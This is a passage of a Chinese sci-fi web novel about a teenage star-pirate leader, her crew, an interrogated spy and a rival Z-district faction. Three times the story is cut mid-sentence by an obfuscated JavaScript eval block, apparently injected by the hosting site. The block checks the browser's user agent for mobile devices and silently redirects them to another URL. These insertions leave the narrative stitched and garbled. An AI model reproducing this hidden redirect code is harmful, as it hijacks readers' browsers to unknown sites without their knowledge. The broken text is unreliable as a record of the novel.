法尔·艾莫什唇角弧度咧开得极大,能看到内里血红的口腔。 乍一瞧甚至称得上是爽朗的笑容,只是那双褐绿色的瞳仁中不仅毫无笑意,还透露着几分猫捉老鼠的戏谑。 琼僵硬地站在原地,在那双眼睛里看到自己惨白惊惧的脸。 “你好像…很害怕?” 法尔好似对琼的异常一无所觉,装作贴心好同僚的模样:“是有什么难处吗?” ‘跑——!!’ 在这个念头出现的一瞬,琼根本顾不上什么计划转身就逃。 他,现在!立刻!就要离开这里! “真是沉不住气啊……”法尔·艾莫什遗憾摇头。 在他身后一株高达2、30米的裂口捕蝇草虚影拔地而起。 当然,精神力幻形长到这个高度,捕蝇草的食谱究竟是不是还仅限于小型昆虫就不好说了。 琼只觉得眼前一黑,浑身被湿淋淋的诡异粘液浇透,随后彻底失去知觉。 法尔兴高采烈地带上自己的幻形伙伴走进刑讯室,语气一如既往地开朗:“首领!江灯还有赛霓!大家早上好!!!看我给你们带了什么好东西回来!” 他拍了拍离自己最近的捕蝇草盖,那一小株叶盖被拍得直上下摇脑袋:“好伙计,把你今天的早餐拿出来给大伙看看!” 裂口捕蝇草有些不情愿地扭扭株身,但仍旧配合朋友将其中一对长满利齿的叶片打开。 全身裹满粘液的琼被连人带衣服吐了出来,落在地面上发出黏腻的‘啪哒’水声。 在场几人不约而同地后退一步。 感受到重新变得空荡荡的口腔,裂口捕蝇草极为委屈地瘪瘪嘴。 “好伙计,别哭。等我办完事就带你吃大餐。” 法尔拍着胸脯承诺。 躺在地板上的琼被周围冰冷的环境刺了一个哆嗦,悠悠转醒。他刚睁开眼就看到方才表情诡谲的法尔正开朗阳光地笑着。 望见周围神情平静,不见半分愤恨和意外的四人,事已至此他哪里还不知道,从一开始这些人就知道了自己的真实身份。 “呵,【猎途座】首领好本事!如今我也没什么好狡辩的!” 说罢,琼一副视死如归的表情,脖子一梗:“你们杀了我吧!我绝对不会透露任何关于背后之人的信息给你们的!” 段心慈还没有被激怒,江灯却已经完全无法忍耐这个卧底一丝一毫。 在争得长发少年的默许后,她直接抬起腿对准琼的胃部狠狠踹过去。 浑身狼藉的卧底被踹出十几米远,背部重重砸在刑讯室墙壁上,响起沉闷的撞击声。 要不是段心慈说过要留着他的命另有用处,她能瞬间把琼踹死。 “垃圾!” 江灯一双深褐色眼瞳中燃烧着令人惊心的滔天怒火:“晶体集会的走狗也敢故弄玄虚。” 赛霓目光忧郁地看了江灯一眼,法尔不知道从哪儿拽来个拖把紧紧抱在怀里。就连裂口捕蝇草都停下吞咽粘液的动作把叶片闭合,一丝凉风都吹不进去。 唯独段心慈不能理解江灯的怒火。 在这人眼中只要能使目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509240|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达成,这一切都是必要的。 琼伏在地上,弓着脊背吐出一大口鲜血。 闻言,他顾不上擦去下巴上滴滴答答的唾液混杂着血,支起上半身战栗畏惧地看向江灯。 看着其余人一副早已了然的神情,他如坠冰窟:‘怎么会……为什么!!他们怎么会知道集会的安排!!!’ “你说晶体集会…” 江灯心中十二分不爽:“如今的晶体集会,还会不会善待任务失败,被送回的卧底?” 像是想到什么可怕的事,琼的瞳孔剧烈地颤动,说话也结巴起来:“不……你们…你们不敢的……” “对!你们…不能……集会不会和星盗合作的!” 他不断自我安慰般喃喃自语着,好似这样就能抹去心中恐惧。 段心慈终于神情阴森地发话了,至少在琼眼里是这样—— “是吗?那就让晶体集会的贵客出来和你见上一见。” 刑讯室泛着冷光的厚重大门被推开。 来人身形修长,宽边黑礼帽稳稳戴在头上,柔顺的白色长发披在身后,手中拎着一个金属箱,步履沉稳不失速度。 没有理会躺在地板上苟延残喘的‘自己人’,他径直走向段心慈的位置,最后停在一个不远不近,刚好足够有分寸的位置。 在江灯不满的注视中缓缓摘下帽子。来人面朝段心慈所在的方向微微弯腰,行了一个堪称完美优雅的抚胸礼:“很高兴能有机遇同您见面。” “请允许我先做一个自我介绍。” 法尔·艾莫什见状简直目瞪口呆:“不是,他什么人啊!这么装???” 男人抬起自己俊美但略显疲惫的面容,薄唇轻启:“我名,裴柯利哀·劳伦斯。” ‘这个名字…!’ 法尔倒吸一口凉气,立刻改口:“cos得也太还原了!!” “好好人家,你还接cos委托吗?” 劳伦斯:“……^^” 段心慈盯着眼前的人,一字一顿道:“受邀前来的人,并非是你。” 她没问这人为什么使用二代会长的名字。 倒不是忌讳,而是因为有些问题就算问出来也一定不会得到正确答案,凭添麻烦。 “啊……的确是这样。” 自称是裴柯利哀·劳伦斯的青年答得十分坦然:“但那个人在赶来的路上已经被我杀死了。” “好像叫什么……「灰山羊」。” 听到这个名号的琼趴在地板上全身抽搐一瞬,看来「灰山羊」带给他的心理阴影着实不小。 段心慈不在意「灰山羊」的死活,却不能不在意无人处理琼这个烂摊子。 少年目光阴沉:“「灰山羊」已死,希望你是有备而来。” ‘否则我一定会把你撕碎,扔进茫茫宇宙中。’ “……” 其实有时候也不是那么地需要情绪读心,裴柯利哀·劳伦斯有些苦恼地想。 尽管不能知道具体内容,但对方的恶意和杀欲简直扑面而来。 “当然。” 他打开手中痕迹斑驳的棕色皮箱,从中拿出一把银白手枪。 这把枪的款式十分老旧,和古董没有两样。外壳却依旧是崭新的,甚至在灯光的照射下泛着虹光。 他开枪的动作速度极快一举一动都透着优雅,像在表演一场致命的美学艺术。 江灯想要阻止却已经来不及,只能看着那枚泛着虹芒的特质银弹自枪口极速旋转着射出。 琼惊惧地瞪大双眼。 时间仿佛都在这一刻放慢。 在场的其余人,包括开出这一枪的裴柯利哀·劳伦斯都认定,琼必然会毙命于此。 ‘锵 ——!’ 金属相撞摩擦而发出的刺耳声音突兀响起。 下一瞬,直扑面门的杀机,被另一枚不知何时射出的,普通得不能再普通的子弹生生在半空截停、炸毁。 颜色迥异的弹壳先后两声‘铛啷’落地。墙角,劫后余生的琼面孔煞白,惊惧无比地向后缩去。 裴柯利哀·劳伦斯转头看向段心慈所在的方向,就见她手中正拿着一把枪,还保持着射击的姿态。 下一刻,那把枪直直对准白发青年的面门。 冰冷的双眼中杀意不断攀升。长发少年声音寒凉可怖,宛如野兽喉间的低沉咆哮:“这是我的地盘——” “你、僭越了。” 13. 计划 裴柯利哀·劳伦斯知道自己犯下一个无法谅解的错误。 在首领的地盘上,越过最高领导者首肯,在她面前意图杀死一条性命。哪怕是蝼蚁的命,背叛者的命,这都是绝对不允许,会被视为挑衅的举动。 精神力幻形同为极具领地意识的大型肉食类动物,裴柯利哀·劳伦斯不可能不明白这一点。 但…… 伴随枪声响起,裴柯利哀·劳伦斯迅速倒下。 没有对死亡来临的意外,也没有对被杀死这件事产生任何不满。 他仅仅讶异于段心慈下手的果断决绝,并且在心中庆幸:‘幸好没让本体降临,不然…到时候恐怕真的会很难收场。’ 法尔看见裴柯利哀·劳伦斯倒地的模样,他有些感性地吸了吸鼻子:“这个世界上自此少了一个优秀的coser……” “…你可以给他举办一场葬礼。” 赛霓·柯莱特真诚地看着法尔,并提出自己的建议。 “那还是算了。办丧葬的价格很贵的!” 法尔连连摇头,拒绝了赛霓的好主意。 没有参与关于葬礼的议题,段心慈在心中不断思量—— 琼并非「灰山羊」一派的人,而是「教授」的手下。 原本计划是让「灰山羊」将琼活着带回。 「灰山羊」必然不会放过这样的天赐良机。 至少一定会在晶体集会即将到来的年度总结大会上对「教授」大肆谩骂,疯狂扣帽子给「教授」带来不少麻烦。 哪怕不能直接干掉「教授」,也足够给他添堵。 但现在…… ‘叮咚——’ 刑讯室的大门被再次叨扰,今早注定是一个不平静的清晨。 显而易见,这位来客同上一位相比十分礼貌。 ‘灰山羊’站在刑讯室的门口,浑浊的瞳孔中充满忐忑。 身为精神力仅有C+的她,哪怕隔着一扇厚重的金属大门,依旧被SSS阶的威压震得喘不上气来,甚至关节隐隐作痛。 彼时的「灰山羊」还不知道门内除了一位3S阶的段心慈,还有一位濒死的A阶,两位A+等阶以及一位即将进阶的S+。 分别是琼,法尔,赛霓以及江灯。 她只觉周遭就连空气都格外凝固。不知不觉中「灰山羊」抹了两把鼻尖上的汗液,头上毛躁稀疏的灰发抖动得更加严重。 离门最近的法尔听到门铃的响动,他顺势将门打开。「灰山羊」布满褶皱的苍老面容暴露在屋内几人的面前。 琼在见到「灰山羊」的第一时间,没有半分犹豫两眼上翻昏死过去。单以旁观者的角度,很难想象这位垂垂老矣的老者能对他出做什么惨绝人寰的事情。 看到还活着的「灰山羊」,其余几人脸上均是神情微妙。 「灰山羊」见状,头发抖动的幅度更大了,不免让人担心她再抖下去就要面临谢顶的境地。 “呃咳咳,咳咳。呃!” ……或许「灰山羊」还患有一些其他的毛病。 “咳咳!感谢……” “咳咳咳,感谢您!愿意…呃呕……咕!” 「灰山羊」的脸绿了又蓝,蓝了又紫。 其余人的面色也变得一言难尽。 「灰山羊」强忍着喉咙里的痒意继续道:“……呃,咳咳,愿意……给老身我…呃呕……呃呃呃,一个,一个,效忠的,呃呃咕,机会……” “那……这,这个人……呃咳咳,我就带走……了咕呜!” 闻言地上的琼抽搐了一下,仍旧双眼紧闭。 ‘让这个荒唐的早晨,快点结束吧…!’ 所有人的想法难得一致。 “人你可以带走。” 段心慈紧盯着「灰山羊」那张苍老的脸,她阴冷锋利的目光看得「灰山羊」面皮不受控制地抽动了一下。 “后续的事,你也不会希望我们——亲自教你。“ “…是、是!” 「灰山羊」这回没敢再咳嗽,而是极为有眼色的承诺道。可见她先前那么剧烈的咳嗽,水分究竟有多大。 “…那人,老人家我就带走了。” 说到这里,「灰山羊」陡然健步如飞,一把薅起琼装死的身体,在他耳边如鬼魅般冷声道:“既然这么不想看见老人家我,那就暂时不必睁眼了!” 说罢将琼的脑袋往墙上狠狠一磕,琼的脑袋无力耷拉着,这回是真的昏死过去了。 在法尔和赛霓震惊的目光下,「灰山羊」对着他们的首领也就是段心慈,深鞠一躬:“【猎途座】的大恩大德,我没齿难忘!” “下次有合作的机会请务必先行考虑晶体集会第十三位高层,灰山羊!” ‘而不是那些贱人!废物!人憎狗慊的杂种同僚!’ ‘嘻嘻嘻!斯格威尔!你就安心等着,老人家我给你准备的大礼吧!’ 并不需要段心慈的保证与回答,「灰山羊」清楚,一旦自己看不清形势,咄咄逼人地想要个确切答复,只会落得和琼,或是斯格威尔一样的下场。 她的目的至始至终只有一个—— 她要【猎途座】的首领,在日后每一次选择合作伙伴时,都能想起她「灰山羊」。 14岁、3S阶、星盗的新王。交好价值根本不必多言。 不管段心慈想起她的形象是好是坏,只要这次办事得力哪怕是坏形象也会转变为好形象。 想到这里,「灰山羊」只觉自己越发有干劲,她中气十足道:“不必送我!段首领,我们后会有期!” 看着来时蹒跚,去时矫健的「灰山羊」…… 赛霓睁大雾霭蓝的眼睛:“「灰山羊」真的只有C+吗?” 赛霓问出了其余人的心声。 本身晶体集会愿意让一个连S+都没有的人担任30位高层之一,这件事就足够耐人寻味。况且「灰山羊」在一种高层内部排名并不低,甚至位于中等偏上。 倘若他们得到的情报无误,「灰山羊」的精神力幻形一定另有他用。 段心慈将染血的绷带重新缠回手上:“不管她究竟有什么盘算,只要不防碍我们的计划,一切随她。” 绷带是她开枪打掉裴柯利哀·劳伦斯射出的那一枚子弹时匆忙解下的。 那一枪所需的精准度极高—— 将子弹以一个刁钻的角度射向墙面,与墙面摩擦撞击后加速拐弯弹出,与另一枚子弹在半空相撞炸开。 在触感受阻,失去精准度的前提下,段心慈也不保证自己能百分百拦下那枚子弹。 江灯认命地再次召唤出医疗机器人:“一切都听您的。” “我会让人随时监控「灰山羊」,最好能套出她的精神力幻形。” “…就算什么也不做。” 江灯垂目,身旁少年人的声音很低。 ‘……也不会杀死你们。’ 段心慈还是没有将心中的话语完全诉诸于口。 江灯知道眼前这人的未尽之意,心中苦涩。 不久后段心慈看着自己手背上被小机器人用纱布绑出的死结,一时陷入沉思。 * “这一战结束……” “那份名单也是时候寄给晶体集会了。” 在场的人都知道段心慈说的是那份在两年中,处死无数星盗的‘死亡名单’。 闻言原本有些泪眼朦胧的赛霓瞬间清明。 两年时间过去,她的精神力等阶从原本的B阶提升至现在的S+,对砍瓜切菜的工作也越发熟练。 “我的工作终于可以看到成果了吗!” 赛霓顾不得告别,她兴冲冲离开这间刑讯室推开隔壁房间的大门,手里握着两年前的那把鲨鱼刀:“一切就放心交给我吧!” 比起年纪小的赛霓,法尔要想得更多。 他疑惑:“首领,晶体集会见到这份名单以后不会赖账吗?” 毕竟这样一来,晶体集会不仅损失了他们在通缉榜上的‘人才’,还损失了他们金库里的钱财。 颜面与财产两失。他实在想不出晶体集会愿意答应【猎途座】的可能。 段心慈却没有多少忧虑:“这个问题,等赛霓做完手上的工作,去会议室详谈。” 法尔有预感,他会听到一些超出自己承受能力的事情。 三小时后-【猎途座】会议室。 段心慈坐在首位,声音沉静:“在只有【猎途座】的情况下,对上晶体集会的确胜算不大。” “所以接下来要做的是,统一Z区。” 自一千五百年前人类寰宇大迁徙彻底宣告终结。和童话故事的结局不一样,人类并没有从此过上安稳日子。 仅仅几十年光景过去,晶体集会在六代会长离世后分崩离析,初心不再。民众在晶体集会30位领主的共同压迫下苦不堪言。 民间起义军频频暴动,其中尤为突出的是打着‘和平世界不需要强权霸主’口号的联邦军。如今数百年已过,联邦军早已入主首都星系,同晶体集会分庭抗礼。 然而晶体集会这样的庞然大物绝非一朝一夕能够击溃,哪怕对民生压迫到极致仍旧存在大把旧时代的拥护者。这也是联邦目前遇到最棘手的难题。 在集会霸权,甚至接近旧时代的倾轧下,原本人类维持千年亲如一家的现状被慢慢打破。 强者挥刀向弱者,弱者挥刀向更弱者。政权,富商与平民,剥削层层递进。 原本早已淡忘的性别议题也被重新提起。尽管这个时代,所有人成年后都至少拥有十次机会向当地医院提出性别更改的权力。 歧视不是生活的必需品,但它确实可以更快地建立起身份认同。甚至在不少人看来这只是一种抱团取暖的社交手段。 抛开无聊的社交手段不谈—— 目前两大主流人种(自然人/智械人)以及四大主流性别(女/男/双/无)之间相互鄙夷。 各自看不上眼的同时又对其余人数较少的性别(例如编辑过程中出现失误,变成小黄鸭或不明性别的人类)进行欺辱压迫。 ‘进行过编辑的次数’之间也存在看法不同的鄙视链: 原生自然/智械人蔑视进行过性别编辑的‘忘本货’,进行过性别编辑次数多的人同样看不起那些编辑次数少的‘low鬼’。 当然,如果身居高位有权有势还家财万贯,那么以上的话全部作废。 这绝无怜悯又绝对疯狂的 [迷乱时代] ,只有一个地方列外—— Z区,罪恶之都。 区如其名,相较于其他31区,Z区的压迫存在历史更加悠久,甚至比31区早上500年就已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼见这两人毫无作为,他只能亲自上阵:“好赛霓,这样是不是不太对?” “……哪里不对?” 赛霓歪了歪脑袋。 法尔卡壳了一瞬,最后支支吾吾道:“……就是,哎,赛霓。你这样想会不会太冒失。” “你看,四大家族能在罪恶之都盘踞那么久,实力肯定很强横。面对这种一看就不太能打得过的对手,我们是不是可以采用迂回一点的战术。” “……比如?” 赛霓眼中水汽弥漫。 “…比如……” 法尔的脑袋飞速运转,他觉得自己这辈子的智商就要在此刻消耗殆尽。 毕竟那可是Z区四大家族,要让他现在就想出一个万全之策实在是有些强人所难。 就在这时,法尔余光扫过段心慈。 他灵光一闪,拍案而起:“我知道了!” 所有人都抬起头看向法尔, 就听法尔信心满满道:“Z区段氏集团实力强横,稳压其余三家。” 一种不太好的预感在段心慈心中油然而生。 “我们可以绑架段暮澜的独子,让段氏集团自乱阵脚。” “段氏集团的继承人与同为四大家族之一的帕拉家二少德里安·帕拉,自幼订下缗约。此人一出事,其他人必然不会放过这个天赐良机。” “到时我们就能浑水摸鱼,坐收渔翁之利!” 此言一出,其余二人精神振奋。 段心慈神色木然:“……你们,都没看通缉榜?” “通缉榜上应该有写我的罪名不止【猎途座】首领一条。” “其中就包含段氏集团继承人以及晶体集会发布的Z区20年内新生儿通缉令。” “……” 极致的沉默。 其余三人一时竟不知该先震惊于哪个消息才好。 比起威名赫赫的段氏集团继承人居然没有呆在Z区,反而在不知多少个光年外的星系当起【猎途座】的首领,还和他们相处两年有余。 似乎更该震惊于年仅14岁的未成年订下緡约这件事是多么丧心病狂,然而这两件事加起来都没能胜过晶体集会发布的新生儿通缉令那样显得耸人听闻。 层层递进的荒诞之中,三人磕磕绊绊地向段心慈解释自己没看通缉令的原因。 没看通缉令的理由有很多—— 江灯知道段心慈肯定在通缉令上,因此一眼没看。 法尔表示通缉令上毫无意义的排名不能体现一个人的价值,他对这种世俗意义上的编排没有兴趣。 而赛霓则发自内心地笃定他们【猎途座】上没有坏人,没有人做过坏事,做过坏事的人都会被她处死。所以绝对不可能有人出现在通缉令上,她更不会去看通缉令。 三人都默契地避开那个有关离开【猎途座】的话题。 听完这些荒谬中透着合理的理由,段心慈沉默地靠在椅背上:“你们说得都很有道理。但绑架段氏集团继承人的方案不可取。” “我在【猎途座】的身份并未遮掩,现在段暮澜应该早已知道我还活着的事实。” “她断然不会手下留情。” 14. 留情 “手下留情?!” 段暮澜一把掠起额前的碎发。 Z区,四大家族会议上。 青年倏地站起身,踹在黄金打造而成的桌面上。 眼神犀利地凝视着坐在桌子对面的谢挽风:“那只疯猫但凡没有统一Z区的想法,我就把段氏集团拱手送给你这小畜生!” 谢挽风靠在椅背上,笑容勉强:“段家主有话好说…您瞧,我要您的段氏集团做什么……” “怕是段家主根本没有那个意思。” 安恰·帕拉细细品味一番面前的红茶,半分没有给谢挽风和段暮澜留脸面。 “她的好继承人就要回来把我们一网打尽,只怕实在是焦头烂额。” “没能杀死自己的亲生孩子,很遗憾吧?” “段、家、主。” “安恰·帕拉!” 段暮澜瞬间如同一只暴怒的狮子,她厉声质问道:“亲生子?你这老贱人不会也和蠢货一样相信外面的那些传言吧!” “那你倒是告诉我!幻形是狮子怎么生出猎豹的!你说啊!” 段暮澜气得发疯。 “…啊,这个。” 安恰·帕拉目光躲闪,这可不是我想知道的内容啊…… “或许凡事总有例外。” ‘谁知道你的那些情人有没有背着你出轨?’老帕拉有些歹毒地想。 “例外?” 段暮澜冷笑:“想来你的好孙儿德里安·帕拉少上一颗右肾也是例外了!希望日后不要再少一颗才好!” 别以为她不知道,德里安被段心慈踢爆肾脏的时候安恰·帕拉这老孽畜就在旁边品红茶!根本是有意纵容! ‘是怕小废物有朝一日取代他这个老废物吗?真是蠢人多虑。’ 闻言安恰·帕拉的脸色也算不上好。 德里安的左肾是怎么没的,难道段暮澜会不知道?这疯女人当时可是眼睁睁地看着段心慈暴起,丝毫没有阻拦的意思! ‘是心知自己控制不了那条疯狗吗?呵呵,真是越活越年轻,活到基因胚胎仓里去了。’ “既然不是您的孩子……” 谢挽风欲言又止。 但其中的未尽之意所有人都能听出:‘既然不是您的孩子,为什么段心慈会成为段氏集团的继承人呢?’ “……” 段暮澜面色铁青,她能说什么。 段心慈不是自己的孩子!这种事难道还需要证明吗?! 事已至此,她只能咬着牙,从牙缝里恨恨挤出一句:“因为我心善。” 此话一出,其余几人便知道这是不愿意让他们知道内情的意思。 段暮澜的实力摆在那里,没人会联想到她也有无法解决的问题于是纷纷善解人意道:“理解,理解。” 见二人用看风流浪子的眼神看着自己嘴上还说什么‘理解’,段暮澜简直气不打一处来。 “理解?” 段暮澜不欲与这群祸不临头不知痛的人多说。 她干脆甩出自己面前的光屏,光屏在桌上滑动一段距离,最后稳稳停在桌面中央。 “希望你们这群脑袋里塞满起司的东西看完新闻快讯,也能说得出这两个字。” 安恰·帕拉拿过光屏,嘴里的明嘲暗讽一刻也没有落下:“年轻人有自己的想法很正常……” ‘嗯…?’ 安恰·帕拉从口袋里抽出眼镜布,架在鼻梁上的老花镜被他取下擦了又擦:“【猎途座】?” “这怎么还跟星盗扯上关系了?” 谢挽风皱眉,他是忌惮段暮澜没错,但这不代表会因为安恰·帕拉这老东西束手束脚。 闻言谢挽风直接从安恰·帕拉手中夺过光屏。 安恰·帕拉:“……” “【猎途座】首领与Z区段氏集团继承人实为一人…” “来源:……晶体集会通缉榜单。” 谢挽风不解:“……段家主,恕我直言。不论段心慈是不是您的孩子,她发展到如今的成就,我们断然没有再同她作对的道理。” “这对整个Z区来说,都是一个契机。” “哪怕她要谢家?” 见谢挽风犹豫,段暮澜嗤笑。 可谢挽风随即就道:“若结局是晶体集会倒台,Z区也能走在恒星的光辉下。” “就是交出谢家又何防?” 段暮澜神色不愉,却没再出言。哪怕无比厌恶段心慈,也不能当众反驳谢挽风这一席话。 她并不受制于安恰·帕拉和谢挽风,但…… “好了好了,你们年轻人不要闹太僵。” 安恰·帕拉笑着打圆场:“不如听听蓝家少主怎么说?” 段暮澜微微抬头,其余二人也转头看向蓝扶月所在的方向。 蓝扶月半点不慌,慢条斯理地咽下餐盘中滴着血水尚且跳动的生肉后拿起餐巾擦了擦染血的唇瓣。 那张雌雄莫辨的面庞美貌瑰丽,骇人有余。 只见祂薄唇轻启:“安恰·帕拉。本少给你脸了?” “敢于拿本少打圆场?” 段暮澜:“……” 谢挽风:“……” 安恰·帕拉攥紧双手,低声下气的张嘴道:“不、敢。” 宇宙共理之一: 不要和星海异兽讲道理。 哪怕祂暂时披上人皮,热衷模仿人类的言行举止。 “你们人类的事……依照和平共约,本少不会插手。” 祂站起身。 银紫的双目里蕴藏无尽雷光,身后张牙舞爪的幽蓝闪电与鬼影无异。 “也不要妄图让本少插手。” 作为星海的宠儿,宇宙的爱子。蓝扶月不需要看任何人的脸色,也不用给任何人好脸色看。 祂哼着不属于人类语言的陌生曲调径自离去。 身后披风猎猎,衣角扬起犹如液态金属的触肢狠狠抽向安恰·帕拉右眼。 而安恰·帕拉甚至不敢,也来不及躲闪。黏腻的鲜血从老人眼眶中泊泊涌出。 这场会议伴随蓝扶月的悍然离场,在安恰·帕拉的哀号中潦草结束。 急救悬浮车来得极快,但安恰·帕拉的右眼依然没能保住。哪怕如今义眼同肉眼早已别无两样。但他们都知道有些东西在暗中悄然变质。 一去不返。 “段心慈…” “我本没有理由,也千不该万不该针对你。” 段暮澜走在一场突如其来的日光雨中。 无所适从的同时,对段心慈的厌恶之感抵达顶峰。 “你要恨就恨……是谁把你送到我手里的。” “你要怨,就怨、自己。” “谁叫你不肯当我手里一条安分守己的狗。” * 与此同时-晶体集会后台信息部。 “正常。” “正常。” “正常。” 威廉对自己的工作感到满意:“…一切正常!下班!” “你今天居然要早退!” 旁边的贝利十分不满:“这是你这个月!第一次早退!” “那又怎样?” 威廉满脸不屑:“我有钱,和你们这些不老实工作就只能等死的下等人可不一样。” “可是威廉,你知道吗,在这颗星球一个月有80天。” “而你!这个月请假了79天!还要在最后一天早退!” “让我来看看,今天是几号?” “80号!威廉!!!!” 威廉揉揉耳朵:“叫那么大声做什么?” “你就算把喉咙喊破,我也不会加班的。” “你!你!你这贱人!居然把正常工作叫加班??!” “那我替你做的那些活!算什么!算我下贱!算我自愿加班吗!!” 贝利被威廉满不在乎的态度刺得面红耳赤。 “什么嘛~不就是多干了一点活而已。”威廉十分不满。 “好了,不要闹了。” 不想再听到身旁贝利仿若精神失常的尖叫,威廉伸手在鳄鱼皮包里来回翻找着。 终于,这人翻到了自己想要的东西。 “这是100万星银币,足够卖你的命。” 她将厚厚一沓现金扔在贝利面前:“可是我好心,只要你现在闭嘴。” 熟练签上自愿赠予合同,威廉神态傲慢扬长而去。 只留下身后90°鞠躬的贝利以及那句随风飘散的“老板,您请。” 就在这时,后台骤然响起急促的警报声。 贝利心中一跳,这是怎么回事? 他入职多年,从未遇到这样的情形。 威廉还没走出多远,这样刺耳的警报声只要没聋当然听得见,可是:‘我凭什么要留下?反正已经给过那个人钱了不是吗?’ 他一次也没有回过头。 信息屏前的贝利紧咬牙关—— 早知道他就不该收下那份钱,死也要让威廉留在工作岗位上。 面对匆匆赶来的高级领导,贝利咽了咽唾沫:“领导……” 来人甚至没有正眼看他:“和你一起工作的人呢?” 贝利张张嘴,还没等他说出什么漂亮话,就见领导直接开口:“算了,我也不想知道。你告诉那个人明天不用来了。擅自离岗,集会不需要这样的人服务。” 贝利呐呐低头:“好的,领导。” ‘他简直和威廉一样有病。’ 贝利在心中刻薄评价,面上仍是一副唯唯诺诺的模样。 “【猎途座】?!” 领导吼道:“该死的星盗!他们入侵我们的后台信息库是要做什么!” 闻言贝利偷偷瞄了一眼屏幕。 这一看,他的眼神就黏在了屏幕上再也移不开半分。 和所有的寻常小职员一样,贝利有个暴富梦。 但他不是一位爱投机取巧的人。 所以贝利既不赌博,也不买刮刮乐。甚至,他对【再来一瓶】也不感兴趣。 凭借自己的超强脑力,贝利记下通缉榜上每一位罪犯的脸。寄希望自己有一天能在大街上遇到一位价值不菲的人类,或者是别的什么种族。 总之,这样的概率绝不是零。 看着【猎途座】发来的那份拥有详细血检以及面容比对的名单,贝利心中缓缓升起了一个难以置信的念头:‘那群星盗,该不会是想从晶体集会这儿领赏金吧……?’ ‘一毛不拔的吝啬鬼集会也会有面临大出血的一天吗?’ ‘星海保佑,希望【猎途座】能成功。’ 但在那之前,贝利露齿一笑:“领导,【猎途座】嚣张至此,竟敢挑衅我们晶体集会的权威,实在是忍无可忍!” “这些星盗应该受到教训!而名单上的赏金,我们半分碎星币也不会交出去!” 慷慨激昂足以形容贝利此刻的语气。 ‘对不住了【猎途座】。’ ‘我贝利和你们不一样,是要领死工资的。’ 领导看着贝利信誓旦旦的模样也不知信了没信,但他还是颇为欣慰地拍拍贝利的肩膀。 “我们就需要你这样的员工。这次对【猎途座】首领的追杀令就由你亲自发布!” “事成之后,我会亲自向领主提起你!” ‘老东西没搞错吧,让我发布?’ 贝利面容瞬间扭曲:‘只怕我上午发布,下午就会横死在家中。’ “好的,领导。” 他语气五分恭敬五分坚定。 “大意是写什么呢?” 贝利还抱有一丝渺茫的期待。 领导神色稳重:“我们要不惜一切代价扑杀段心慈和她的星盗团。” ‘有趣。看来我的死活也在这代价之中了。’贝利顿觉无望。 “我会认真完成任务的。” 唯唯诺诺地低下头,厚重的齐刘海遮住他眼中一闪而过的阴沉。 ‘怎么可能?要死的还是另有其人来得让我宽心。’ 下一秒,法尔的收件箱传来‘滴哩’一声,刺耳的提示音在会议室中响起。 贝利用实际行动告诉领导,求生欲是转化效率的最佳动能。 “来信地址,晶体集会?” 法尔有些惊讶,按理说晶体集会不该这么快就联系自己。 “哎?不是打款。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509242|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …表扬信?!晶体集会是终于疯了吗?” 法尔当机立断将自己的光屏投射到会议室的大型屏幕上。 不能只有他一个人受到这份惊吓。 ‘亲爱的【猎途座】星海强盗团伙,你们好:’ ‘小小员工贝利得知你们在最近两年的行动中,匡扶正义,劫富济贫,惩恶扬善。’ ‘小小员工贝利深受感动。若给小小员工贝利一个机会,小小员工贝利愿意亲手将集会百年积蓄欣然奉上!可惜偶遇阻挠,计划失败。’ ‘小小员工贝利探得消息:晶体集会将于首都星系群,耀芒星17月12日傍晚18:30发布特别追杀令一式多份。’ ‘此事有集会高层暗中作祟,请务必提前做好准备,不要让邪恶的晶体集会阴谋得逞。’ ‘小小集会员工贝利敬上。’ 邮件中求生欲望简直溢满会议室。 就连段心慈这样情感淡漠的人都能感受到贝利多次强调自己姓名的用意。 见邮件的底纹上似乎还有不少文字但因为字体实在太小无法看清,她顺手按下桌面上的放大功能按钮。 刹那四人被满屏‘别杀我’这三个血红小字糊了一脸。 “……” 赛霓心中默然:‘想告诉晶体集会,我们是【猎途座】,不是【猎屠座】。’ “这集会员工,性格还挺跳脱的。” 法尔干笑。 ‘【猎途座】的对外风评有这么差吗?不应该啊…’ 江灯则是直接提出建议:“首领,我们要不雇些网控员工吧?” “……” 段心慈拒绝:“不必了。” 比任何人都深知【猎途座】绝不会是那轮照彻暗夜的恒星。 相反,在必要的时刻,猎途座会成为她投掷出去的一颗砝码、弃子。足以撬动那经久不变的天平。 过度正面的风评舆论反而会徒增烦扰。 “这个时代不需要晶体集会。同样也不会需要【猎途座】。” 这是段心慈第一次在三人面前表露出她展望的一角:既然这些人想留下来,关于【猎途座】创立的最终目的是时候该告诉他们。 江灯他们有权利在得知真相后再选择是否留下。 仅一句话,其中蕴藏的含义却让三人遍体生凉。 是的,他们明白这个道理。 在这个趋向和平的年代,人类不再需要一手遮天,强势集权的晶体集会。 